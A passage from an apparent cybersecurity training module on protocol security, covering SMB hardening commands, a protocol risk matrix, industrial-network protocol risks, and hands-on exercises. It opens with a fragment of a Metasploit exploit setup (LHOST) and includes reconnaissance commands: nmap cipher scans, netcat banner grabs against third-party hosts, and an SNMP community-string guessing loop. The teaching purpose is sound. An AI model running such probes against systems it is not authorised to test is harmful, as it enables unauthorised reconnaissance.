&lt;span class="c"&gt;# set LHOST your_ip&lt;/span&gt;
&lt;span class="c"&gt;# run&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SMB Hardening:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Disable SMBv1 (Windows Server):&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-SmbServerConfiguration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-EnableSMB1Protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-SmbServerConfiguration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;EnableSMB1Protocol&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Verify&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Or via registry:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;SMB1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Enable SMB signing (prevents NTLM relay):&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-SmbServerConfiguration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-RequireSecuritySignature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-SmbClientConfiguration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-RequireSecuritySignature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Enable SMB encryption (SMB 3.0+):&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-SmbServerConfiguration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-EncryptData&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# This encrypts all SMB traffic, prevents sniffing of file contents&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Restrict anonymous access:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-SmbServerConfiguration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-RestrictNullSessions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Disable guest access:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-SmbServerConfiguration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-EnableSMBGuestLogon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$false&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Windows Firewall — block SMBv1 specifically:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Block TCP 139 (NetBIOS Session Service — SMBv1 path)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-NetFirewallRule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-DisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Block SMBv1"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Direction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Inbound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TCP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LocalPort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;139&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Block&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Audit SMB events:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LogName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Microsoft-Windows-SMBServer/Security"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;20&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; SMBv1 caused WannaCry and NotPetya — the two most destructive cyberattacks in recorded history, totalling $14 billion in damages. SMBv1 should not exist anywhere in 2026. NTLM relay attacks exploit the absence of SMB signing — present in most enterprise networks by default. Any network where SMB signing is not required is vulnerable to complete credential relay chains that require only a foothold anywhere on the network.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. Protocol Security Matrix
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Protocol  Port(s)   Encryption      Auth           Known Attacks           Replace With
─────────────────────────────────────────────────────────────────────────────────────────
HTTP      80/TCP    NONE            None/Cookie    MITM, session hijack,   HTTPS
                                                  cleartext creds
HTTPS     443/TCP   TLS             Certificate    TLS downgrade, cert      Enforce TLS 1.2+,
                                   + app auth     spoofing, MITM (weak)   HSTS, cert pinning
FTP       21/TCP    NONE            Cleartext      Credential capture,      SFTP or FTPS
                   (FTPS: TLS)                    bounce attack
SFTP      22/TCP    SSH             SSH key/pass   Brute force (if pass)   —
SMTP      25/TCP    Optional        Optional       Spoofing, relay,        SPF+DKIM+DMARC,
          587/TCP   (STARTTLS)      (STARTTLS)     credential brute        enforce TLS
POP3      110/TCP   NONE            Cleartext      Credential capture       POP3S (995)
IMAP      143/TCP   NONE            Cleartext      Credential capture       IMAPS (993)
SSH       22/TCP    Yes             Key/Pass       Brute force, key theft   Key-only auth
Telnet    23/TCP    NONE            Cleartext      Credential capture       SSH
SNMP v1   161/UDP   NONE            Community str  Community brute force    SNMPv3 authPriv
SNMP v2c  161/UDP   NONE            Community str  Amplification DDoS      SNMPv3 authPriv
SNMP v3   161/UDP   AES (authPriv)  User + HMAC    Brute force (rare)      —
NTP       123/UDP   NONE (NTPsec)   None/symmetric Amplification, poison    NTPsec/auth NTP
LDAP      389/TCP   NONE            Bind           Injection, null bind     LDAPS (636)
LDAPS     636/TCP   TLS             Bind + TLS     Brute force             —
RDP       3389/TCP  TLS/CredSSP     Password/NLA   BlueKeep, brute force   NLA + VPN + MFA
SMB 1     445/TCP   NONE            NTLM           EternalBlue, relay      Disable SMBv1
SMB 3     445/TCP   Optional AES    NTLM/Kerberos  Relay (if no signing)   SMB signing + encrypt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. OT/ICS Protocol Context
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 How These Protocols Appear in Industrial Environments
&lt;/h3&gt;

&lt;p&gt;Industrial networks are not isolated from the protocols covered in this module. Here is the reality of their presence in OT environments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Protocol     OT Presence                           Risk Level
─────────────────────────────────────────────────────────────────────────
HTTP         HMI web interfaces (WebHMI, iFIX Web) HIGH — often no TLS
             Historian web reporting interfaces    Often no auth on LAN
             PLC web configuration pages          Default credentials common
             Building automation (BACnet/SC)

HTTPS        Modern OT web interfaces (OPC-UA)    Medium — if cert is self-signed
             Remote access portals                and not validated: MITM possible

FTP          PLC firmware upload/download         CRITICAL — cleartext,
             Configuration backup/restore         often anonymous
             Some HMI data export                Default credentials

SFTP         Rare in OT — some modern historians  Low — if properly configured
             Modern engineering workstations

SMTP         SCADA alarm email notifications      Low direct risk
             Historian report emailing            But source for phishing

SSH          Modern managed switch management     Medium
             Engineering workstation access       Brute force if weak creds
             Some modern PLC SSH access

Telnet       Most common management protocol      CRITICAL — cleartext
             on legacy industrial switches        credential exposure
             Some legacy PLCs/RTUs               Often default credentials
             Network-accessible PLCs (Siemens)

SNMP v1/v2c  Virtually all industrial switches    HIGH — exposes full
             Industrial UPS systems               network topology
             Environmental monitoring             Read-write = config control
             Building automation devices

NTP          Time sync for SCADA servers          MEDIUM — desync = system
             IEEE 1588/PTP for protection relays  instability in OT
             PMU data timing

LDAP         SCADA servers joined to AD domain    MEDIUM — if path to OT
             Engineering workstations             from corporate AD exists

RDP          HMI remote access (common!)          HIGH — often internet-exposed
             SCADA server management              BlueKeep risk on older OT OS
             Engineering workstation access       Windows XP/7 common in OT

SMB          Windows-based SCADA file sharing     HIGH — WannaCry hit OT
             Historian data export                NotPetya destroyed OT networks
             Engineering workstation file access  SMBv1 common on legacy OT OS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Protocol Risk in OT — Special Considerations
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;HMI Web Interfaces — HTTP Without TLS:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many SCADA and HMI systems include web servers for remote monitoring that run over HTTP with no authentication — by design, for operational simplicity. An attacker on the OT network can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;View real-time process values&lt;/li&gt;
&lt;li&gt;Sometimes modify setpoints&lt;/li&gt;
&lt;li&gt;Always gather intelligence about the process&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;RDP on Windows XP/Windows 7 in OT:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Windows XP and Windows 7 are still common operating systems for HMI and SCADA workstations in industrial environments due to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Long hardware lifecycles (equipment purchased in 2005 still operational)&lt;/li&gt;
&lt;li&gt;Vendor support contracts tied to specific OS versions&lt;/li&gt;
&lt;li&gt;Concerns about patching stability in operational environments&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These systems are vulnerable to BlueKeep and DejaBlue (pre-auth RDP RCE). Combined with often-absent network segmentation and monitoring, this represents a severe risk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMBv1 in OT:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WannaCry specifically impacted industrial environments in 2017:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Honda closed production lines in Japan&lt;/li&gt;
&lt;li&gt;Renault halted production at multiple plants&lt;/li&gt;
&lt;li&gt;NHS medical equipment running Windows XP was infected&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The lesson was not universally learned. SMBv1 still exists in OT environments where patching is avoided.&lt;/p&gt;




&lt;h2&gt;
  
  
  14. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: HTTP/HTTPS Analysis (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Analyse HTTP headers for security issues&lt;/span&gt;

&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://testphp.vulnweb.com"&lt;/span&gt;  &lt;span class="c"&gt;# Intentionally vulnerable test site&lt;/span&gt;

&lt;span class="c"&gt;# Check HTTP headers:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/http_headers.txt

&lt;span class="c"&gt;# Analyse security headers:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Security Header Analysis ==="&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;header &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"Strict-Transport-Security"&lt;/span&gt; &lt;span class="s2"&gt;"Content-Security-Policy"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
              &lt;span class="s2"&gt;"X-Frame-Options"&lt;/span&gt; &lt;span class="s2"&gt;"X-Content-Type-Options"&lt;/span&gt; &lt;span class="s2"&gt;"Referrer-Policy"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
              &lt;span class="s2"&gt;"Permissions-Policy"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$header&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; /tmp/http_headers.txt&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[MISSING] &lt;/span&gt;&lt;span class="nv"&gt;$header&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;else
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[PRESENT] &lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done&lt;/span&gt;

&lt;span class="c"&gt;# Check for server version disclosure:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Information Disclosure ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"Server:|X-Powered-By:|X-AspNet-Version:"&lt;/span&gt; /tmp/http_headers.txt

&lt;span class="c"&gt;# Test HTTP methods:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== HTTP Methods ==="&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; OPTIONS &lt;span class="nv"&gt;$TARGET&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"allow:"&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; TRACE &lt;span class="nv"&gt;$TARGET&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;    &lt;span class="c"&gt;# TRACE should be disabled&lt;/span&gt;

&lt;span class="c"&gt;# Check TLS configuration (if HTTPS):&lt;/span&gt;
&lt;span class="nv"&gt;TARGET_HTTPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://badssl.com"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== TLS Configuration ==="&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; badssl.com:443 &lt;span class="nt"&gt;-brief&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers &lt;span class="nt"&gt;-p&lt;/span&gt; 443 badssl.com 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"TLSv|ciphers"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: SMTP Enumeration and Security Check (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SMTP security assessment&lt;/span&gt;

&lt;span class="nv"&gt;TARGET_MX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"mail.google.com"&lt;/span&gt;   &lt;span class="c"&gt;# Use your own domain for testing&lt;/span&gt;

&lt;span class="c"&gt;# Check MX records:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== MX Records ==="&lt;/span&gt;
dig MX &lt;span class="nv"&gt;$TARGET_MX&lt;/span&gt; +short 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Direct mail server test"&lt;/span&gt;

&lt;span class="c"&gt;# Test SMTP connection and capabilities:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== SMTP Banner and EHLO ==="&lt;/span&gt;
&lt;span class="nb"&gt;timeout &lt;/span&gt;5 bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"echo 'EHLO test.com' | nc -w 3 mail.google.com 25"&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Port 25 filtered (expected for gmail)"&lt;/span&gt;

&lt;span class="c"&gt;# Use swaks for comprehensive SMTP test:&lt;/span&gt;
&lt;span class="c"&gt;# swaks --to test@yourdomain.com --from test@external.com --server mail.yourdomain.com&lt;/span&gt;

&lt;span class="c"&gt;# Check SPF/DKIM/DMARC for multiple domains:&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;domain &lt;span class="k"&gt;in &lt;/span&gt;google.com microsoft.com amazon.com&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Email security for &lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt; ==="&lt;/span&gt;

    &lt;span class="nv"&gt;spf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig TXT &lt;span class="nv"&gt;$domain&lt;/span&gt; +short | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=spf1"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nv"&gt;dmarc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig TXT _dmarc.&lt;span class="nv"&gt;$domain&lt;/span&gt; +short | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=DMARC1"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

    &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$spf&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SPF: &lt;/span&gt;&lt;span class="nv"&gt;$spf&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SPF: NOT FOUND"&lt;/span&gt;
    &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$dmarc&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DMARC: &lt;/span&gt;&lt;span class="nv"&gt;$dmarc&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DMARC: NOT FOUND"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: SSH Security Assessment (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SSH security configuration audit&lt;/span&gt;

&lt;span class="nv"&gt;TARGET_SSH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;  &lt;span class="c"&gt;# Test on your own system&lt;/span&gt;

&lt;span class="c"&gt;# Scan SSH version and algorithms:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== SSH Version ==="&lt;/span&gt;
ssh &lt;span class="nt"&gt;-V&lt;/span&gt; 2&amp;gt;&amp;amp;1
nc &lt;span class="nt"&gt;-w&lt;/span&gt; 3 &lt;span class="nv"&gt;$TARGET_SSH&lt;/span&gt; 22 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;

&lt;span class="c"&gt;# Check supported algorithms:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Supported Algorithms ==="&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssh2-enum-algos &lt;span class="nt"&gt;-p&lt;/span&gt; 22 &lt;span class="nv"&gt;$TARGET_SSH&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Check sshd configuration for security issues:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== SSH Configuration Audit ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"PermitRootLogin|PasswordAuthentication|MaxAuthTries|
    X11Forwarding|AllowTcpForwarding|LoginGraceTime|
    PermitEmptyPasswords|Ciphers|MACs|KexAlgorithms"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    /etc/ssh/sshd_config | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^#"&lt;/span&gt;

&lt;span class="c"&gt;# Generate secure keys:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Generate Ed25519 Key ==="&lt;/span&gt;
ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519 &lt;span class="nt"&gt;-f&lt;/span&gt; /tmp/test_key &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"test@bytewall"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Private key fingerprint:"&lt;/span&gt;
ssh-keygen &lt;span class="nt"&gt;-lf&lt;/span&gt; /tmp/test_key
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Public key:"&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/test_key.pub
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /tmp/test_key /tmp/test_key.pub

&lt;span class="c"&gt;# Monitor SSH authentication attempts:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Recent SSH Authentication Events ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Accepted|Failed|Invalid"&lt;/span&gt; /var/log/auth.log 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; ssh &lt;span class="nt"&gt;--since&lt;/span&gt; &lt;span class="s2"&gt;"1 hour ago"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: SNMP Enumeration (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SNMP reconnaissance toolkit&lt;/span&gt;

&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"demo.snmplabs.com"&lt;/span&gt;   &lt;span class="c"&gt;# Public SNMP demo server&lt;/span&gt;

&lt;span class="c"&gt;# Test common communities:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Testing Common Community Strings ==="&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;community &lt;span class="k"&gt;in &lt;/span&gt;public private community snmp manager&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
